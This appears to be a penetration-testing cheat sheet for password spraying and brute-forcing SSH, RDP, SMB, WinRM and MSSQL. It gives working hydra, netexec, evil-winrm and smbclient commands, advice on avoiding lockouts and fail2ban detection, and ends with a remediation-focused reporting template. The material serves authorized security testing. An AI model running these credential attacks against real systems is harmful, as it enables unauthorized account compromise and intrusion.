🛡️ Methodology Checklist
- Identify exposed authentication services: SSH, RDP, SMB, WinRM, FTP, MSSQL, MySQL
- Check password policy to determine safe spray rate
- Test default credentials first (admin/admin, root/root, service/service)
- Spray with valid username list and common passwords
- SSH spray:
hydra -L users.txt -P pass.txt ssh://[TARGET] - SMB spray:
nxc smb [TARGET] -u users.txt -p passwords.txt --continue-on-success - WinRM:
nxc winrm [TARGET] -u users.txt -p passwords.txt - MSSQL:
hydra -L users.txt -P pass.txt mssql://[TARGET]
🎯 Operational Context
Use when: Valid credentials needed for network service access — brute force or spray SSH, FTP, SMB, WinRM, RDP, HTTP forms.
Think Dumber First: Don’t brute force blindly — spray one common password across all users before trying multiple passwords against one user. Password123! and Welcome1 catch more accounts than exhaustive single-user brute.
Skip when: Service has strong lockout policy — calculate spray rate first with --pass-pol check.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
netexec winrm [TARGET_IP] -u [USER_LIST] -p [PASS_LIST] | Spray credentials against WinRM |
evil-winrm -i [TARGET_IP] -u [USER] -p [PASS] | Open PowerShell session via WinRM |
hydra -L [USER_LIST] -P [PASS_LIST] ssh://[TARGET_IP] | Brute-force SSH |
ssh [USER]@[TARGET_IP] | Connect via SSH |
hydra -L [USER_LIST] -P [PASS_LIST] rdp://[TARGET_IP] -t 4 | Brute-force RDP (low thread count to avoid crashes) |
xfreerdp /v:[TARGET_IP] /u:[USER] /p:[PASS] | Connect via RDP from Linux |
hydra -L [USER_LIST] -P [PASS_LIST] smb://[TARGET_IP] | Brute-force SMB (may fail on SMBv3) |
netexec smb [TARGET_IP] -u [USER_LIST] -p [PASS_LIST] | Spray SMB credentials |
netexec smb [TARGET_IP] -u [USER] -p [PASS] --shares | Enumerate shares with valid creds |
smbclient -U [USER] \\\\[TARGET_IP]\\[SHARE] | Connect to SMB share |
use auxiliary/scanner/smb/smb_login | MSF module for SMB auth (reliable on SMBv3) |
🔬 Deep Dive & Workflow
WinRM — Port 5985/5986
Microsoft’s WS-Management protocol (SOAP/XML over HTTP/HTTPS). Used by Enter-PSSession, PowerShell remoting, and evil-winrm.
Successful spray output shows (Pwn3d!) next to the credential pair — indicates the account has admin/execute rights, not just authentication.
netexec winrm [TARGET_IP] -u user.list -p password.list
# TARGET [TARGET_IP]:5985 WinRM - [+] domain\user:pass (Pwn3d!)Evil-WinRM provides an interactive PowerShell session:
sudo gem install evil-winrm
evil-winrm -i [TARGET_IP] -u [USER] -p [PASS]SSH — Port 22
Standard Hydra dictionary attack. SSH rate-limits aggressively on most systems — don’t over-thread:
hydra -L user.list -P password.list ssh://[TARGET_IP]RDP — Port 3389
RDP is sensitive to connection speed. High thread counts crash the service or trigger lockouts:
- Use
-t 4(max 4 threads) or-t 1for fragile targets - Use
-Wflag to add delay between attempts
Connect with xfreerdp (type Y to trust the certificate on first connection):
xfreerdp /v:[TARGET_IP] /u:[USER] /p:[PASS]SMB — Port 445
Three attack methods in priority order:
- NetExec — most reliable, handles SMBv3
- MSF smb_login — fallback when Hydra fails on SMBv3
- Hydra — may error
invalid reply from targeton modern Windows
After getting valid credentials, enumerate shares before mounting:
netexec smb [TARGET_IP] -u [USER] -p [PASS] --shares
smbclient -U [USER] \\\\[TARGET_IP]\\SHARENAME🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Hydra module not found for service | Wrong service name | List modules: hydra -U http-post-form; service names: ssh, ftp, smb, rdp, http-get, http-post-form |
| Hydra returns false positives | Success condition wrong | For form brute: check failure string carefully in -f flag; test manually first |
| SSH brute detected and blocked | fail2ban or IDS | Reduce rate: hydra -t 2 -w 3; or use Medusa with lower thread count |
| WinRM brute fails | Authentication type mismatch | Use nxc: nxc winrm [TARGET] -u users.txt -p pass.txt — handles WinRM auth correctly |
| HTTP form brute missing CSRF | Dynamic token required | Use Burp Intruder with macro to capture fresh CSRF token per request |
📝 Reporting Trigger
Finding Title: Network Service Credentials Compromised via Password Attack Impact: Valid credentials obtained through password spraying or brute force provide authenticated access to target services, bypassing all technical controls that require authentication as the security boundary. Root Cause: Weak or default passwords in use. No MFA implemented. Failed authentication not alerted or rate-limited at the service level. Recommendation: Implement MFA for all network services. Deploy centralized authentication with lockout policies. Alert on failed authentication bursts. Conduct organization-wide forced password reset for all accounts with weak passwords.